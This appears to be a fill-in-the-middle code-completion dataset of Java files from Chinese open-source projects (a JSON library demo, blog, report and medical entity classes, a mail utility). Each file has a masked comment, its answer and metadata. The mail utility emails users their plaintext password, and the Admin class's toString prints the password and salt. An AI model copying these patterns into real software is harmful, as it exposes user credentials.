///////////////////////////////////////////////////// // 编码Java Bean ///////////////////////////////////////////////////// Data data1 = new Data(3, "Hello"); String data1JSON = EasyJSONBase.jsonEncode(data1); System.out.println(data1JSON); // 输出: {"id":3,"name":"Hello"} ///////////////////////////////////////////////////// // 重命名字段 ///////////////////////////////////////////////////// Data2 data2 = new Data2(4, "World"); String data2JSON = EasyJSONBase.jsonEncode(data2); System.out.println(data2JSON); // 输出: {"id":4,"MyName":"World"} String newDataJSON = "{\"id\":3,\"name\":\"Hello\"}"; Data newData = (Data) EasyJSONBase.jsonDecode(Data.class, newDataJSON); System.out.println(newData.id); // 输出: 3 System.out.println(newData.name); // 输出: Hello ///////////////////////////////////////////////////// // 检测JSON字符串类型: 是否为对象或数组 ///////////////////////////////////////////////////// String jsonString1 = "{\"id\":3,\"name\":\"Hello\"}"; System.out.println(EasyJSONBase.guessJSONType(jsonString1) == JSON_TYPE_OBJECT); // 输出: true System.out.println(EasyJSONBase.guessJSONType(jsonString1) == JSON_TYPE_ARRAY); // 输出: false String jsonString2 = "[1,2,3]"; System.out.println(EasyJSONBase.guessJSONType(jsonString2) == JSON_TYPE_OBJECT); // 输出: false System.out.println(EasyJSONBase.guessJSONType(jsonString2) == JSON_TYPE_ARRAY); // 输出: true } }
373518155/EasyJSON
demo/Lab.java
1,742
// 值为 18
line_comment
zh-cn
import cn.snailpad.easyjson.EasyJSONArray; import cn.snailpad.easyjson.EasyJSONBase; import cn.snailpad.easyjson.EasyJSONObject; import cn.snailpad.easyjson.FieldName; import static cn.snailpad.easyjson.EasyJSONBase.JSON_TYPE_ARRAY; import static cn.snailpad.easyjson.EasyJSONBase.JSON_TYPE_OBJECT; public class Lab { ///////////////////////////////////////////////////// // Java Bean类 // 用于展示EasyJSONBase.jsonEncode()和EasyJSONBase.jsonDecode()方法的使用 ///////////////////////////////////////////////////// public static class Data { // 访问属性必须指定为public public int id; public String name; // 如果使用EasyJSONBase.jsonDecode()方法,必须要有默认构造函数,或不能定义任何构造函数 public Data() { } public Data(int id, String name) { this.id = id; this.name = name; } } ///////////////////////////////////////////////////// // Java Bean类 // 用于展示重命名字段的使用 ///////////////////////////////////////////////////// public static class Data2 { // 访问属性必须指定为public public int id; // jsonEncode时,将字段name重命名为MyName @FieldName("MyName") public String name; public Data2(int id, String name) { this.id = id; this.name = name; } } public static void main(String[] args) throws Exception { ///////////////////////////////////////////////////// // 生成JSON字符串(对象)示例 ///////////////////////////////////////////////////// EasyJSONObject object1 = EasyJSONObject.generate("name", "Hello", "female", false); System.out.println(object1.toString()); // 输出: {"name":"Hello","female":false} // 添加字段age object1.put("age", 18); System.out.println(object1.toString()); // 输出: {"name":"Hello","female":false,"age":18} // 修改字段age(如果字段age不存在,则添加;如果已经存在,则修改) object1.put("age", 19); System.out.println(object1.toString()); // 输出: {"name":"Hello","female":false,"age":19} // 添加数组 object1.put("language", EasyJSONArray.generate("Chinese", "English", "French")); System.out.println(object1.toString()); // 输出: {"name":"Hello","female":false,"age":19,"language":["Chinese","English","French"]} // 上述JSON字符串也可以用一条语句直接生成 EasyJSONObject object2 = EasyJSONObject.generate( "name", "Hello", "female", false, "age", 19, "language", EasyJSONArray.generate("Chinese", "English", "French")); System.out.println(object2.toString()); // 输出: {"name":"Hello","female":false,"age":19,"language":["Chinese","English","French"]} ///////////////////////////////////////////////////// // 生成JSON字符串(数组) ///////////////////////////////////////////////////// EasyJSONArray array1 = EasyJSONArray.generate("Hello", 2, true, EasyJSONObject.generate("age", 18)); System.out.println(array1.toString()); // 输出: ["Hello",2,true,{"age":18}] // 共有4个元素,其中第1个为字符串,第2个为数字,第3个为布尔值,第4个为对象 // 在尾部添加一个元素 array1.put("World"); System.out.println(array1.toString()); // 输出: ["Hello",2,true,{"age":18},"World"] // 在尾部添加一个数组 array1.put(EasyJSONArray.generate("new", "old")); System.out.println(array1.toString()); // 输出: ["Hello",2,true,{"age":18},"World",["new","old"]] // 在尾部添加一个对象 array1.put(EasyJSONObject.generate("female", false)); System.out.println(array1.toString()); // 输出: ["Hello",2,true,{"age":18},"World",["new","old"],{"female":false}] ///////////////////////////////////////////////////// // 从JSON字符串解析回EasyJSONObject或EasyJSONArray // 解析JSON对象字符串 {"name":"Hello","female":false,"age":18} ///////////////////////////////////////////////////// String jsonStr1 = "{\"name\":\"Hello\",\"female\":false,\"age\":18}"; EasyJSONObject object3 = (EasyJSONObject) EasyJSONObject.parse(jsonStr1); String name = object3.getString("name"); // 值为 "Hello" int age = object3.getInt("age"); // 值为 <SUF> ///////////////////////////////////////////////////// // 从JSON字符串解析回EasyJSONObject或EasyJSONArray // 解析JSON数组字符串 ["Hello",2,true,{"age":18},"World",["new","old"],{"female":false}] ///////////////////////////////////////////////////// String jsonStr2 = "[\"Hello\",2,true,{\"age\":18},\"World\",[\"new\",\"old\"],{\"female\":false}]"; EasyJSONArray array2 = (EasyJSONArray) EasyJSONArray.parse(jsonStr2); String str = array2.getString(0); System.out.println(str); // 输出: Hello int val = array2.getInt(1); System.out.println(val); // 输出: 2 boolean bool = array2.getBoolean(2); System.out.println(bool); // 输出: true EasyJSONObject object4 = array2.getObject(3); System.out.println(object4); // 输出: {"age":18} EasyJSONArray array3 = array2.getArray(5); System.out.println(array3); // 输出: ["new","old"] ///////////////////////////////////////////////////// // 编码Java Bean ///////////////////////////////////////////////////// Data data1 = new Data(3, "Hello"); String data1JSON = EasyJSONBase.jsonEncode(data1); System.out.println(data1JSON); // 输出: {"id":3,"name":"Hello"} ///////////////////////////////////////////////////// // 重命名字段 ///////////////////////////////////////////////////// Data2 data2 = new Data2(4, "World"); String data2JSON = EasyJSONBase.jsonEncode(data2); System.out.println(data2JSON); // 输出: {"id":4,"MyName":"World"} String newDataJSON = "{\"id\":3,\"name\":\"Hello\"}"; Data newData = (Data) EasyJSONBase.jsonDecode(Data.class, newDataJSON); System.out.println(newData.id); // 输出: 3 System.out.println(newData.name); // 输出: Hello ///////////////////////////////////////////////////// // 检测JSON字符串类型: 是否为对象或数组 ///////////////////////////////////////////////////// String jsonString1 = "{\"id\":3,\"name\":\"Hello\"}"; System.out.println(EasyJSONBase.guessJSONType(jsonString1) == JSON_TYPE_OBJECT); // 输出: true System.out.println(EasyJSONBase.guessJSONType(jsonString1) == JSON_TYPE_ARRAY); // 输出: false String jsonString2 = "[1,2,3]"; System.out.println(EasyJSONBase.guessJSONType(jsonString2) == JSON_TYPE_OBJECT); // 输出: false System.out.println(EasyJSONBase.guessJSONType(jsonString2) == JSON_TYPE_ARRAY); // 输出: true } }
0
1,588
9
1,735
7
1,834
7
1,735
7
2,243
8
false
false
false
false
false
true
46283_7
package world.xuewei.vo; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; import world.xuewei.entity.Meeting; import world.xuewei.entity.Report; import world.xuewei.entity.Teacher; /** * <p> * ========================================================================== * 郑重说明:本项目免费开源!原创作者为:薛伟同学,严禁私自出售。 * ========================================================================== * B站账号:薛伟同学 * 微信公众号:薛伟同学 * 作者博客:http://xuewei.world * ========================================================================== * 陆陆续续总会收到粉丝的提醒,总会有些人为了赚取利益倒卖我的开源项目。 * 不乏有粉丝朋友出现钱付过去,那边只把代码发给他就跑路的,最后还是根据线索找到我。。 * 希望各位朋友擦亮慧眼,谨防上当受骗! * ========================================================================== * * @author <a href="http://xuewei.world/about">XUEW</a> */ @Data @NoArgsConstructor @AllArgsConstructor @Builder public class MeetingVo { /** * 报告 */ private Report report; /** * 报告人 */ private Teacher reporter; /** * 主持人 */ private Teacher host; /** * 会议 */ private Meeting meeting; /** * 预约数 */ private int appointmentCount; /** * 签到数 */ private int arriveCount; /** * 预约百分比 = 预约人数/会议容量 * 100% */ private int appointmentPercent; /** * 状态【1:已预约】【0:未预约】【2:预约已满】 */ private int status; }
373675032/academic-report
src/main/java/world/xuewei/vo/MeetingVo.java
479
/** * 预约百分比 = 预约人数/会议容量 * 100% */
block_comment
zh-cn
package world.xuewei.vo; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; import world.xuewei.entity.Meeting; import world.xuewei.entity.Report; import world.xuewei.entity.Teacher; /** * <p> * ========================================================================== * 郑重说明:本项目免费开源!原创作者为:薛伟同学,严禁私自出售。 * ========================================================================== * B站账号:薛伟同学 * 微信公众号:薛伟同学 * 作者博客:http://xuewei.world * ========================================================================== * 陆陆续续总会收到粉丝的提醒,总会有些人为了赚取利益倒卖我的开源项目。 * 不乏有粉丝朋友出现钱付过去,那边只把代码发给他就跑路的,最后还是根据线索找到我。。 * 希望各位朋友擦亮慧眼,谨防上当受骗! * ========================================================================== * * @author <a href="http://xuewei.world/about">XUEW</a> */ @Data @NoArgsConstructor @AllArgsConstructor @Builder public class MeetingVo { /** * 报告 */ private Report report; /** * 报告人 */ private Teacher reporter; /** * 主持人 */ private Teacher host; /** * 会议 */ private Meeting meeting; /** * 预约数 */ private int appointmentCount; /** * 签到数 */ private int arriveCount; /** * 预约百 <SUF>*/ private int appointmentPercent; /** * 状态【1:已预约】【0:未预约】【2:预约已满】 */ private int status; }
0
392
26
479
28
451
24
479
28
683
40
false
false
false
false
false
true
39880_16
package com.moti.entity; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import java.io.Serializable; import java.util.Date; /** * (Admin)实体类 * * @author 莫提 * @since 2020-08-30 22:34:34 */ public class Admin implements Serializable { private static final long serialVersionUID = -10283078166005266L; /** * 主键ID */ private Integer id; /** * 绑定QQ登录的ID */ private String openId; /** * 头像地址 */ private String img; /** * 作者昵称 */ private String name; /** * 登录密码 */ private String password; /** * 加密盐 */ private String salt; /** * 性别:男、女、保密 */ private String sex; /** * 出生年月日 */ private Date birthday; /** * 地区 */ private String address; /** * 邮箱 */ private String email; /** * 手机号码 */ private String phone; /** * QQ号码 */ private String qq; /** * 微信号图片地址 */ private String wechat; /** * 微信公众号图片地址 */ private String publicWechat; /** * 职业 */ private String career; /** * 个人说明 */ private String info; /** * 最近登录 */ private Date recentLogin; public Admin() { } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getOpenId() { return openId; } public void setOpenId(String openId) { this.openId = openId; } public String getImg() { return img; } public void setImg(String img) { this.img = img; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getSalt() { return salt; } public void setSalt(String salt) { this.salt = salt; } public String getSex() { return sex; } public void setSex(String sex) { this.sex = sex; } public Date getBirthday() { return birthday; } public void setBirthday(Date birthday) { this.birthday = birthday; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getPhone() { return phone; } public void setPhone(String phone) { this.phone = phone; } public String getQq() { return qq; } public void setQq(String qq) { this.qq = qq; } public String getWechat() { return wechat; } public void setWechat(String wechat) { this.wechat = wechat; } public String getPublicWechat() { return publicWechat; } public void setPublicWechat(String publicWechat) { this.publicWechat = publicWechat; } public String getCareer() { return career; } public void setCareer(String career) { this.career = career; } public String getInfo() { return info; } public void setInfo(String info) { this.info = info; } public Date getRecentLogin() { return recentLogin; } public void setRecentLogin(Date recentLogin) { this.recentLogin = recentLogin; } @Override public String toString() { return "Admin{" + "id=" + id + ", openId='" + openId + '\'' + ", img='" + img + '\'' + ", name='" + name + '\'' + ", password='" + password + '\'' + ", salt='" + salt + '\'' + ", sex='" + sex + '\'' + ", birthday=" + birthday + ", address='" + address + '\'' + ", email='" + email + '\'' + ", phone='" + phone + '\'' + ", qq='" + qq + '\'' + ", wechat='" + wechat + '\'' + ", publicWechat='" + publicWechat + '\'' + ", career='" + career + '\'' + ", info='" + info + '\'' + ", recentLogin=" + recentLogin + '}'; } }
373675032/moti-blog
src/main/java/com/moti/entity/Admin.java
1,148
/** * 个人说明 */
block_comment
zh-cn
package com.moti.entity; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import java.io.Serializable; import java.util.Date; /** * (Admin)实体类 * * @author 莫提 * @since 2020-08-30 22:34:34 */ public class Admin implements Serializable { private static final long serialVersionUID = -10283078166005266L; /** * 主键ID */ private Integer id; /** * 绑定QQ登录的ID */ private String openId; /** * 头像地址 */ private String img; /** * 作者昵称 */ private String name; /** * 登录密码 */ private String password; /** * 加密盐 */ private String salt; /** * 性别:男、女、保密 */ private String sex; /** * 出生年月日 */ private Date birthday; /** * 地区 */ private String address; /** * 邮箱 */ private String email; /** * 手机号码 */ private String phone; /** * QQ号码 */ private String qq; /** * 微信号图片地址 */ private String wechat; /** * 微信公众号图片地址 */ private String publicWechat; /** * 职业 */ private String career; /** * 个人说 <SUF>*/ private String info; /** * 最近登录 */ private Date recentLogin; public Admin() { } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getOpenId() { return openId; } public void setOpenId(String openId) { this.openId = openId; } public String getImg() { return img; } public void setImg(String img) { this.img = img; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getSalt() { return salt; } public void setSalt(String salt) { this.salt = salt; } public String getSex() { return sex; } public void setSex(String sex) { this.sex = sex; } public Date getBirthday() { return birthday; } public void setBirthday(Date birthday) { this.birthday = birthday; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getPhone() { return phone; } public void setPhone(String phone) { this.phone = phone; } public String getQq() { return qq; } public void setQq(String qq) { this.qq = qq; } public String getWechat() { return wechat; } public void setWechat(String wechat) { this.wechat = wechat; } public String getPublicWechat() { return publicWechat; } public void setPublicWechat(String publicWechat) { this.publicWechat = publicWechat; } public String getCareer() { return career; } public void setCareer(String career) { this.career = career; } public String getInfo() { return info; } public void setInfo(String info) { this.info = info; } public Date getRecentLogin() { return recentLogin; } public void setRecentLogin(Date recentLogin) { this.recentLogin = recentLogin; } @Override public String toString() { return "Admin{" + "id=" + id + ", openId='" + openId + '\'' + ", img='" + img + '\'' + ", name='" + name + '\'' + ", password='" + password + '\'' + ", salt='" + salt + '\'' + ", sex='" + sex + '\'' + ", birthday=" + birthday + ", address='" + address + '\'' + ", email='" + email + '\'' + ", phone='" + phone + '\'' + ", qq='" + qq + '\'' + ", wechat='" + wechat + '\'' + ", publicWechat='" + publicWechat + '\'' + ", career='" + career + '\'' + ", info='" + info + '\'' + ", recentLogin=" + recentLogin + '}'; } }
0
1,123
9
1,148
8
1,333
9
1,148
8
1,532
12
false
false
false
false
false
true
56597_0
package com.moti.utils; import org.slf4j.Logger; import org.springframework.mail.SimpleMailMessage; import org.springframework.mail.javamail.JavaMailSenderImpl; import org.springframework.mail.javamail.MimeMessageHelper; import javax.mail.MessagingException; import javax.mail.internet.MimeMessage; public class MailUtils { //邮件发送器 private JavaMailSenderImpl mailSender; Logger logger = LogUtils.getInstance(MailUtils.class); public MailUtils(JavaMailSenderImpl mailSender){ this.mailSender = mailSender; } /** * 发送简单邮件 * @param title 邮件标题 * @param text 邮件内容(简单邮件不支持HTML标签) * @param acceptEmail 接收方邮件 */ public void sendSimpleMailMessage(String title,String text,String acceptEmail){ logger.info("开始发送简单邮件..."); logger.info("mailSender对象为:"+mailSender); SimpleMailMessage message = new SimpleMailMessage(); message.setSubject(title); message.setText(text); message.setFrom("你需要修改此处为你的QQ邮箱"); message.setTo(acceptEmail); System.out.println(mailSender); logger.info("message对象为:"+message); mailSender.send(message); } /** * 发送复杂邮件(支持邮件内容HTML解析) * @param title 邮件标题 * @param text 邮件内容(简单邮件不支持HTML标签) * @param acceptEmail 接收方邮件 * @throws MessagingException */ public void sentComplexMailMessage(String title,String text,String acceptEmail){ logger.info("开始发送复杂邮件..."); logger.info("mailSender对象为:"+mailSender); MimeMessage mimeMessage = mailSender.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(mimeMessage); try { helper.setSubject(title); helper.setText(text,true); helper.setFrom("你需要修改此处为你的QQ邮箱"); helper.setTo(acceptEmail); } catch (MessagingException e) { e.printStackTrace(); } logger.info("mimeMessage对象为:"+mimeMessage); mailSender.send(mimeMessage); } public String sendCode(String email,String userName,String password){ int code = (int) ((Math.random() * 9 + 1) * 100000); logger.info("开始发送复杂邮件..."); logger.info("mailSender对象为:"+mailSender); MimeMessage mimeMessage = mailSender.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(mimeMessage); try { helper.setSubject("莫提网盘-邮箱验证"); helper.setText("<h2 >莫提网盘-简洁、优雅、免费</h2>" + "<h3>用户注册-邮箱验证<h3/>" + "您现在正在注册莫提网盘账号<br>" + "验证码: <span style='color : red'>"+code+"</span><br>" + "用户名 :"+userName+ "<br>密码 :"+password+ "<hr>"+ "<h5 style='color : red'>如果并非本人操作,请忽略本邮件</h5>",true); helper.setFrom("你需要修改此处为你的QQ邮箱"); helper.setTo(email); } catch (MessagingException e) { e.printStackTrace(); } logger.info("mimeMessage对象为:"+mimeMessage); mailSender.send(mimeMessage); return String.valueOf(code); } }
373675032/moti-cloud
src/main/java/com/moti/utils/MailUtils.java
834
//邮件发送器
line_comment
zh-cn
package com.moti.utils; import org.slf4j.Logger; import org.springframework.mail.SimpleMailMessage; import org.springframework.mail.javamail.JavaMailSenderImpl; import org.springframework.mail.javamail.MimeMessageHelper; import javax.mail.MessagingException; import javax.mail.internet.MimeMessage; public class MailUtils { //邮件 <SUF> private JavaMailSenderImpl mailSender; Logger logger = LogUtils.getInstance(MailUtils.class); public MailUtils(JavaMailSenderImpl mailSender){ this.mailSender = mailSender; } /** * 发送简单邮件 * @param title 邮件标题 * @param text 邮件内容(简单邮件不支持HTML标签) * @param acceptEmail 接收方邮件 */ public void sendSimpleMailMessage(String title,String text,String acceptEmail){ logger.info("开始发送简单邮件..."); logger.info("mailSender对象为:"+mailSender); SimpleMailMessage message = new SimpleMailMessage(); message.setSubject(title); message.setText(text); message.setFrom("你需要修改此处为你的QQ邮箱"); message.setTo(acceptEmail); System.out.println(mailSender); logger.info("message对象为:"+message); mailSender.send(message); } /** * 发送复杂邮件(支持邮件内容HTML解析) * @param title 邮件标题 * @param text 邮件内容(简单邮件不支持HTML标签) * @param acceptEmail 接收方邮件 * @throws MessagingException */ public void sentComplexMailMessage(String title,String text,String acceptEmail){ logger.info("开始发送复杂邮件..."); logger.info("mailSender对象为:"+mailSender); MimeMessage mimeMessage = mailSender.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(mimeMessage); try { helper.setSubject(title); helper.setText(text,true); helper.setFrom("你需要修改此处为你的QQ邮箱"); helper.setTo(acceptEmail); } catch (MessagingException e) { e.printStackTrace(); } logger.info("mimeMessage对象为:"+mimeMessage); mailSender.send(mimeMessage); } public String sendCode(String email,String userName,String password){ int code = (int) ((Math.random() * 9 + 1) * 100000); logger.info("开始发送复杂邮件..."); logger.info("mailSender对象为:"+mailSender); MimeMessage mimeMessage = mailSender.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(mimeMessage); try { helper.setSubject("莫提网盘-邮箱验证"); helper.setText("<h2 >莫提网盘-简洁、优雅、免费</h2>" + "<h3>用户注册-邮箱验证<h3/>" + "您现在正在注册莫提网盘账号<br>" + "验证码: <span style='color : red'>"+code+"</span><br>" + "用户名 :"+userName+ "<br>密码 :"+password+ "<hr>"+ "<h5 style='color : red'>如果并非本人操作,请忽略本邮件</h5>",true); helper.setFrom("你需要修改此处为你的QQ邮箱"); helper.setTo(email); } catch (MessagingException e) { e.printStackTrace(); } logger.info("mimeMessage对象为:"+mimeMessage); mailSender.send(mimeMessage); return String.valueOf(code); } }
0
748
4
834
4
867
4
834
4
1,156
8
false
false
false
false
false
true
55104_7
package world.xuewei.entity; import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; import java.util.Date; /** * 疾病实体 * * @author XUEW */ @Data @NoArgsConstructor @AllArgsConstructor @Builder @TableName("illness") public class Illness { /** * 主键ID */ @TableId(type = IdType.AUTO) private Integer id; /** * 疾病所属种类id */ private Integer kindId; /** * 疾病的名字 */ private String illnessName; /** * 引起的原因 */ private String includeReason; /** * 主要的症状 */ private String illnessSymptom; /** * 特殊的症状 */ private String specialSymptom; /** * 创建时间 */ private Date createTime; /** * 更新时间 */ private Date updateTime; @TableField(exist = false) private IllnessKind kind; @TableField(exist = false) private IllnessMedicine illnessMedicine; }
373675032/smart-medicine
src/main/java/world/xuewei/entity/Illness.java
327
/** * 创建时间 */
block_comment
zh-cn
package world.xuewei.entity; import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; import java.util.Date; /** * 疾病实体 * * @author XUEW */ @Data @NoArgsConstructor @AllArgsConstructor @Builder @TableName("illness") public class Illness { /** * 主键ID */ @TableId(type = IdType.AUTO) private Integer id; /** * 疾病所属种类id */ private Integer kindId; /** * 疾病的名字 */ private String illnessName; /** * 引起的原因 */ private String includeReason; /** * 主要的症状 */ private String illnessSymptom; /** * 特殊的症状 */ private String specialSymptom; /** * 创建时 <SUF>*/ private Date createTime; /** * 更新时间 */ private Date updateTime; @TableField(exist = false) private IllnessKind kind; @TableField(exist = false) private IllnessMedicine illnessMedicine; }
0
275
8
327
7
332
8
327
7
451
12
false
false
false
false
false
true